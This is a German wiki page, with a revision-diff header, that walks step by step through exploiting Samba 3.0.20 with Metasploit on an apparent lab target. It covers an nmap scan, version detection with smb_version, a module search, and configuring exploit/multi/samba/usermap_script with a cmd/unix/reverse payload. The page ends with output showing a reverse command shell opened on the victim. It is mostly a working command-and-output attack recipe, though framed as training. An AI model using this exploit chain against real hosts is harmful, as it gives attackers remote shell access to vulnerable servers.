Metasploit Exploit und Payload (Samba): Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 
=Schwachstelle suchen=
 
=Schwachstelle suchen=
*Mittels nmap einen Port suchen. In diesem Fall Samba.
+
==Mittels nmap einen Port suchen. In diesem Fall Samba==
*'''Befehl:''' root@kali:~# nmap -sV 10.82.1.101
+
*map -sV 10.0.10.105 -p 445
 
+
  ...
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-02 12:48 CET
+
  445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  Nmap scan report for 10.82.1.101
 
Host is up (0.00015s latency).
 
Not shown: 977 closed ports
 
PORT    STATE SERVICE    VERSION
 
21/tcp  open  ftp        vsftpd 2.3.4
 
22/tcp  open  ssh        OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
 
23/tcp  open  telnet      Linux telnetd
 
25/tcp  open  smtp        Postfix smtpd
 
53/tcp  open  domain      ISC BIND 9.4.2
 
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
 
111/tcp  open  rpcbind
 
<b>139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 
  445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)</b>
 
512/tcp  open  exec        netkit-rsh rexecd
 
513/tcp  open  login
 
514/tcp  open  tcpwrapped
 
1099/tcp open  java-rmi    GNU Classpath grmiregistry
 
1524/tcp open  bindshell  Metasploitable root shell
 
2049/tcp open  rpcbind
 
2121/tcp open  ftp        ProFTPD 1.3.1
 
3306/tcp open  mysql      MySQL 5.0.51a-3ubuntu5
 
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
 
5900/tcp open  vnc        VNC (protocol 3.3)
 
6000/tcp open  X11        (access denied)
 
6667/tcp open  irc        UnrealIRCd
 
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
 
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
 
  
 
=Genaue Version=
 
=Genaue Version=

Version vom 30. Juni 2021, 15:31 Uhr

Schwachstelle suchen

Mittels nmap einen Port suchen. In diesem Fall Samba

  • map -sV 10.0.10.105 -p 445
...
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Genaue Version

Durch nmap kann die genaue Version von Samba nicht gesehen werden. Deshalb wird ein Modul von Metasploit benötigt.

  • Es wird folgender Befehl in der msfconsole abgesetzt um das Versions Module zu nutzen:
    • msf5 > use auxiliary/scanner/smb/smb_version


  • Nun wird noch die RHOSTS (Die IP des Opfers) benötigt:
    • msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.82.1.101


  • Durch den Befehl show options werden die momentanen Einstellung gezeigt:
msf5 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
RHOSTS     10.82.1.101      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SMBDomain  .                no        The Windows domain to use for authentication
SMBPass                     no        The password for the specified username
SMBUser                     no        The username to authenticate as
THREADS    1                yes       The number of concurrent threads (max one per host)
  • Durch das absetzen von dem Befehl run kann nun die genaue Samba Version ermittelt werden
msf5 auxiliary(scanner/smb/smb_version) > run
[*] 10.82.1.101:445       - Host could not be identified: Unix (Samba 3.0.20-Debian)

Passendes Module suchen

  • Um nach Modulen zu suchen die wir nun für diese Version nutzen können muss folgender Befehl abgesetzt werden:
search Samba 3.0.20
Matching Modules
================
  #   Name                                                   Disclosure Date  Rank       Check  Description
  -   ----                                                   ---------------  ----       -----  -----------
  0   auxiliary/admin/http/wp_easycart_privilege_escalation  2015-02-25       normal     Yes    WordPress WP EasyCart Plugin Privilege Escalation
  1   auxiliary/admin/smb/samba_symlink_traversal                             normal     No     Samba Symlink Directory Traversal
  2   auxiliary/dos/samba/lsa_addprivs_heap                                   normal     No     Samba lsa_io_privilege_set Heap Overflow
  3   auxiliary/dos/samba/lsa_transnames_heap                                 normal     No     Samba lsa_io_trans_names Heap Overflow
  4   auxiliary/dos/samba/read_nttrans_ea_list                                normal     No     Samba read_nttrans_ea_list Integer Overflow
  5   auxiliary/scanner/rsync/modules_list                                    normal     No     List Rsync Modules
  6   auxiliary/scanner/smb/smb_uninit_cred                                   normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
  7   exploit/freebsd/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
  8   exploit/linux/samba/chain_reply                        2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
  9   exploit/linux/samba/is_known_pipename                  2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
  10  exploit/linux/samba/lsa_transnames_heap                2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
  11  exploit/linux/samba/setinfopolicy_heap                 2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
  12  exploit/linux/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
  13  exploit/multi/samba/nttrans                            2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
  14  exploit/multi/samba/usermap_script                     2007-05-14       excellent  No     Samba "username map script" Command Execution
  15  exploit/osx/samba/lsa_transnames_heap                  2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
  16  exploit/osx/samba/trans2open                           2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)
  • Wir entscheiden uns hier für das exploit/multi/samba/usermap_script Module und schauen uns das Module genauer an indem wir das Module erstmal laden durch:
use exploit/multi/samba/usermap_script
  • Und mittels des Befehls info kann eine genaue Beschreibung des Modules eingesehen werden.
  • Anhand der Beschreibung durch info kann erkannt werden, dass dieses Module zu unserer Version passt und wir hiermit Befehle auf dem Opfer ausführen können.

Konfiguration des Samba Modules

  • Für das Module muss wieder der RHOST und ein PAYLOAD eingetragen werden.

RHOST

msf5 exploit(multi/samba/usermap_script) > set RHOST 10.82.1.101
RHOST => 10.82.1.101

PAYLOAD

msf5 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
  • Mit show options kann die momentane Konfiguration
msf5 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS  10.82.1.101      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   139              yes       The target port (TCP)

Payload options (cmd/unix/reverse):
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  LHOST  10.82.10.99      yes       The listen address (an interface may be specified)
  LPORT  4444             yes       The listen port


  • Jetzt den Befehl exploit absetzen und man hat Zugriff auf das Opfer
msf5 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 10.82.10.99:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo mH5y7FbXzHZhu0dC;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "mH5y7FbXzHZhu0dC\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (10.82.10.99:4444 -> 10.82.1.101:44347) at 2020-11-02 15:35:17 +0100


  • Es können Befehle wie pwd, cd , hostname usw.. genutzt werden